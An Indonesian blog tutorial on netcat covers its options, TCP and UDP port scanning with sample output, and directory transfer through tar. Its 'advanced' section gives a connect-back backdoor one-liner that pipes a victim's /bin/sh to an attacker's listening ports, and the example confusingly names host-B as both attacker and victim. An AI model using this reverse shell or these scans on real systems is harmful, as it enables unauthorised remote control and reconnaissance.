Friday, November 30, 2012

0 TUTORIAL MEMUTUS KONEKSI JARINGAN DENGAN SOFTWARE NETCAT

Mengutip bagian history pada Manual Netcat atau disingkat "nc"

"The nc utility, a "damn useful little backend utility" begun 950915 or thereabouts, as *Hobbit*'s first real stab at some sockets programming. Something that should have and indeed may have existed ten years ago, but never became a standard Unix utility. IMHO, nc could take its place right next to cat, cp, rm, mv, dd, ls, and all those other cryptic and Unix-like things."

Hacker Administrator sepertinya senang sekali menggunakan tool yang satu ini untuk melakukan scanning, koneksi port, bahkan melakukan tranfer informasi antar host.

Untuk memperolehnya, Anda dapat mendownload netcat dari website packetstormsecurity.org atau FTP mirror berikut:

* ftp://coast.cs.purdue.edu/pub/tools/unix/netutils/netcat/
* ftp://ftp.cuhk.edu.hk/pub/packages/security/purdue/netutils/netcat/

Saya tidak akan membahas lebih lanjut mengenai bagaimana menginstal netcat pada sistem Anda karena ada banyak sekali manual yang tersebar di Internet tentang bagaimana mengkompail atau memperoleh binary netcat yang sesuai. Dan pada tulisan ini, saya mengkhususkan penggunaan netcat pada environment
spesifik: UNIX.

Secara sederhana, penggunaan netcat mirip dengan sebuah Telnet client, karena netcat dapat mengakses remote host mana saja dengan port apa saja (pada protokol TCP dan UDP). Sebagai contoh: untuk connect ke sebuah host bernama dubyadubya.org pada port 80, Anda cukup mengeksekusi command:

$ nc dubyadubya.org 80
Lalu tekan CTRL + C untuk exit. Jika port yang dituju terbuka, Anda dapat memberikan perintah yang Anda inginkan. Seperti:

$ nc dubyadubya.org 80
GET / HTTP/1.0 [ENTER]
[ENTER]
HTTP/1.1 200 OK
Date: Sat, 30 Apr 2005 03:29:21 GMT
Server: Apache/1.3.33 (Darwin) PHP/4.3.10
Connection: close
Content-Type: text/html
...
Netcat juga dapat digunakan sebagai tool untuk melakukan testing sebuah firewall. Yang menjadi tujuan testing adalah mencari tahu ports yang berstatus OPEN dan LISTENING.

Netcat Command Options
Sebelum lebih jauh membahas contoh penggunaan netcat, ada baiknya jika kita membahas satu-per-satu option yang tersedia dari program tersebut.
-g := gateway Tentukan source routing hop untuk koneksi-koneksi outbound.

-G := number Digunakan untuk memberikan spesifikasi source routing pointer dalam IP header.. value: 4, 8, 12, ...

-i := seconds Menentukan delay interval pengiriman packets. Sebagai contoh, jika Anda ingin netcat menunggu 5 detik untuk scanning ports, gunakan -i 5

-l := Listen mode. Jika digunakan dengan options tambahan, maka sangat dimungkinkan untuk melakukan binding ke sebuah root shell.

-n := Tidak menggunakan DNS support dan hanya menggunakan IP address saja. Sangat berguna jika DNS Anda seringkali 'lambat' dan 'bermasalah'

-o := file Membuat format hex-dump traffic ke sebuah file

-p := value Sebuah option untuk melakukan port spoofing. Jika Anda ingin sebuah packet tampak terkirim dari port 53 dari sebuah host, maka Anda akan menggunakan -p 53.

-r := Memungkinkan netcat untuk melakukan random scanning ports.

-s := address Melakukan spoofing source address dari packet. Option ini tidak dapat bekerja pada semua sistem.

-u := Secara default, netcat menggunakan protokol TCP. Dengan menggunakan option ini, netcat akan menggunakan User Datagram Protocol (UDP).

-v := Verbose mode. Gunakan -v -v untuk mendapatkan informasi yang lebih banyak.

-w := seconds Membuat netcat menunggu (dalam detik) untuk setiap respon port. Option ini biasanya dikombinasikan dengan option -z

-z := Juga disebut "zero-I/O mode", option ini memungkinkan netcat tidak menggunakan I/O dari source system. Option ini biasanya digunakan ketika memanfaatkan netcat sebagai scanner.

Examples:
Secara sederhana, untuk melakukan koneksi ke remote host, gunakan

$ nc [-options] hostname port[s] [ports] ...

sedangkan untuk listen pada koneksi inbound, gunakan

$ nc -l -p port [-options] [hostname] [port]

Sekarang, kita akan menggunakan netcat sebagai tool untuk melakukan pengecekan terhadap sebuah remote host. Jika Anda menginginkan scanning pada port 1 sampai 1024, maka perintah yang diberikan adalah

$ nc -z -w 5 -n -v 234.56.78.9 1-1024
(UNKNOWN) [234.56.78.9] 631 (?) open
(UNKNOWN) [234.56.78.9] 113 (?) open
(UNKNOWN) [234.56.78.9] 80 (?) open
(UNKNOWN) [234.56.78.9] 25 (?) open

Gunakan double verbose (-v -v) untuk mendapatkan informasi tentang ports yang tertutup (refused)...

(UNKNOWN) [234.56.78.9] 5 (?) : Connection refused
(UNKNOWN) [234.56.78.9] 4 (?) : Connection refused
(UNKNOWN) [234.56.78.9] 3 (?) : Connection refused
(UNKNOWN) [234.56.78.9] 2 (?) : Connection refused
(UNKNOWN) [234.56.78.9] 1 (?) : Connection refused

Option -z dan -w 5 digunakan agar netcat tidak melakukan binding sebuah port dan menunggu lima detik untuk setiap koneksi. Option -n digunakan untuk tidak memanfaatkan fitur DNS resolve.

Untuk target ports, Anda dapat melakukan pembatasan hanya pada port tertentu saja.

$ nc -z -w 5 -n -v 234.56.78.9 21-25, 53, 80, 110-113, 443

Anda dapat melakukan scanning UDP ports dengan menambahkan option -u

$ nc -u -z -v -n 234.56.78.9 1-65335
(UNKNOWN) [234.56.78.9] 69 (?) open
(UNKNOWN) [234.56.78.9] 514 (?) open
(UNKNOWN) [234.56.78.9] 53 (?) open

------| Advanced Examples

Pada penggunaan tingkat lanjut, netcat juga dapat digunakan sebagai tool untuk melakukan transfer file. Sebagai contoh: Anda ingin melakukan copy-transfer sebuah direktori dari host-A ke host-B. Maka yang perlu Anda lakukan adalah:

pada host-A

$ tar cvf - direktori/ | nc host-B 12345

pada host-B

$ nc -l -p 12345 | tar xvf

Anda juga dapat mengunakan netcat sebagai connect-back backdoor. :-) pada host-A, aktifkan 2 window dimana netcat dijalankan dengan LISTEN mode.
$ nc -l -p 12345 [ window-1 ]
$ nc -l -p 12346 [ window-2 ]

pada host-B (yang menjadi victim)

$ nc -v host-B 12345 | /bin/sh | nc -v host-B 12346

Pada window-1 di host-A, Anda dapat mengetikkan perintah yang akan dijalankan pada host-B, dan kemudian melihat output dari perintah yang diberikan pada window-2 di host-A.

Penutup

Netcat layaknya sebuah Swiss Army Knife, dapat menjadi tool yang sangat bermanfaat bagi mereka pada network administrator. Namun tool ini juga dapat menjadi boomerang jika dimanfaatkan oleh mereka yang punya niatan tidak baik pada resource yang kita miliki.

0 Comments

Bagaimana Pendapat Anda ?

Followers